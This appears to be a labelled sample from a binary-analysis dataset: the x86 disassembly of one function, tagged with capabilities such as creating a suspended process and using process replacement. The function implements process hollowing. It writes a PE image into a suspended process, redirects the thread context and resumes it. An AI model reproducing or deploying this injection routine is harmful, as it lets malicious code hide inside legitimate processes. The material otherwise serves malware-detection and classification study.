Function at 0x401cd9
Capabilities:
Create process on windows
Create process suspended
Enumerate pe sections
Get common file path
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x834
push edi
push 0x10
push 0
lea eax, [ebp - 0x14]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x44
push 0
lea ecx, [ebp - 0x82c]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x82c], 0x44
cmp dword [ebp + 0xc], 0
jne 0x401d32
push 0x3e8
lea edx, [ebp - 0x7e8]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov dword [ebp - 0x834], eax
jmp 0x401d4b
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x7e8]
push ecx
call sub.MSVCRT.dll_strcpy
add esp, 8
mov dword [ebp - 0x834], eax
lea edx, [ebp - 0x3f8]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x82c]
push ecx
lea edx, [ebp - 0x3f8]
push edx
push 0
push 4
push 0
push 0
push 0
lea eax, [ebp - 0x7e8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x401da2
push 0x401208
push 4
call fcn.00401940
add esp, 8
xor eax, eax
jmp 0x401ff1
mov dword [ebp - 0x2f0], 0x10002
mov ecx, 0xb2
xor eax, eax
lea edi, [ebp - 0x2ec]
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x2f0]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
push 0
push 4
lea eax, [ebp - 0x2f4]
push eax
mov ecx, dword [ebp - 0x24c]
add ecx, 8
push ecx
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0x40121c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x400], eax
push 0x401228
mov eax, dword [ebp - 0x400]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x401e2b
mov ecx, dword [ebp - 0x400]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
jmp 0x401ff1
mov edx, dword [ebp - 0x2f4]
push edx
mov eax, dword [ebp - 0x14]
push eax
call dword [ebp - 0x24]
mov ecx, dword [ebp - 0x400]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov edx, dword [ebp + 8]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 4]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x20], ecx
push 0xf8
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x401e76
mov eax, dword [ebp - 0x20]
cmp dword [eax], 0x4550
je 0x401e8c
push 0x401240
push 4
call fcn.00401940
add esp, 8
xor eax, eax
jmp 0x401ff1
push 4
push 0x3000
mov ecx, dword [ebp - 0x20]
mov edx, dword [ecx + 0x50]
push edx
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax + 0x34]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x18], eax
push 0
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax + 0x54]
push ecx
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edx, dword [ebp - 0x20]
xor eax, eax
mov ax, word [edx + 0x14]
mov ecx, dword [ebp - 0x20]
lea edx, [ecx + eax + 0x18]
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x3fc], 0
jmp 0x401ef7
mov eax, dword [ebp - 0x3fc]
add eax, 1
mov dword [ebp - 0x3fc], eax
mov ecx, dword [ebp - 0x20]
xor edx, edx
mov dx, word [ecx + 6]
cmp dword [ebp - 0x3fc], edx
jae 0x401fa6
push 0
mov eax, dword [ebp - 0x3fc]
imul eax, eax, 0x28
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx + eax + 0x10]
push edx
mov eax, dword [ebp - 0x3fc]
imul eax, eax, 0x28
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 4]
add edx, dword [ecx + eax + 0x14]
push edx
mov eax, dword [ebp - 0x3fc]
imul eax, eax, 0x28
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x18]
add edx, dword [ecx + eax + 0xc]
push edx
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea ecx, [ebp - 0x830]
push ecx
mov edx, dword [ebp - 0x3fc]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax + edx + 0x24]
push ecx
call fcn.00401cc7
add esp, 4
push eax
mov edx, dword [ebp - 0x3fc]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax + edx + 8]
push ecx
mov edx, dword [ebp - 0x3fc]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x18]
add ecx, dword [eax + edx + 0xc]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
jmp 0x401ee8
push 0
push 4
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x24c]
add ecx, 8
push ecx
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x18]
add ecx, dword [eax + 0x28]
mov dword [ebp - 0x240], ecx
lea edx, [ebp - 0x2f0]
push edx
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 1
pop edi
mov esp, ebp
pop ebp
ret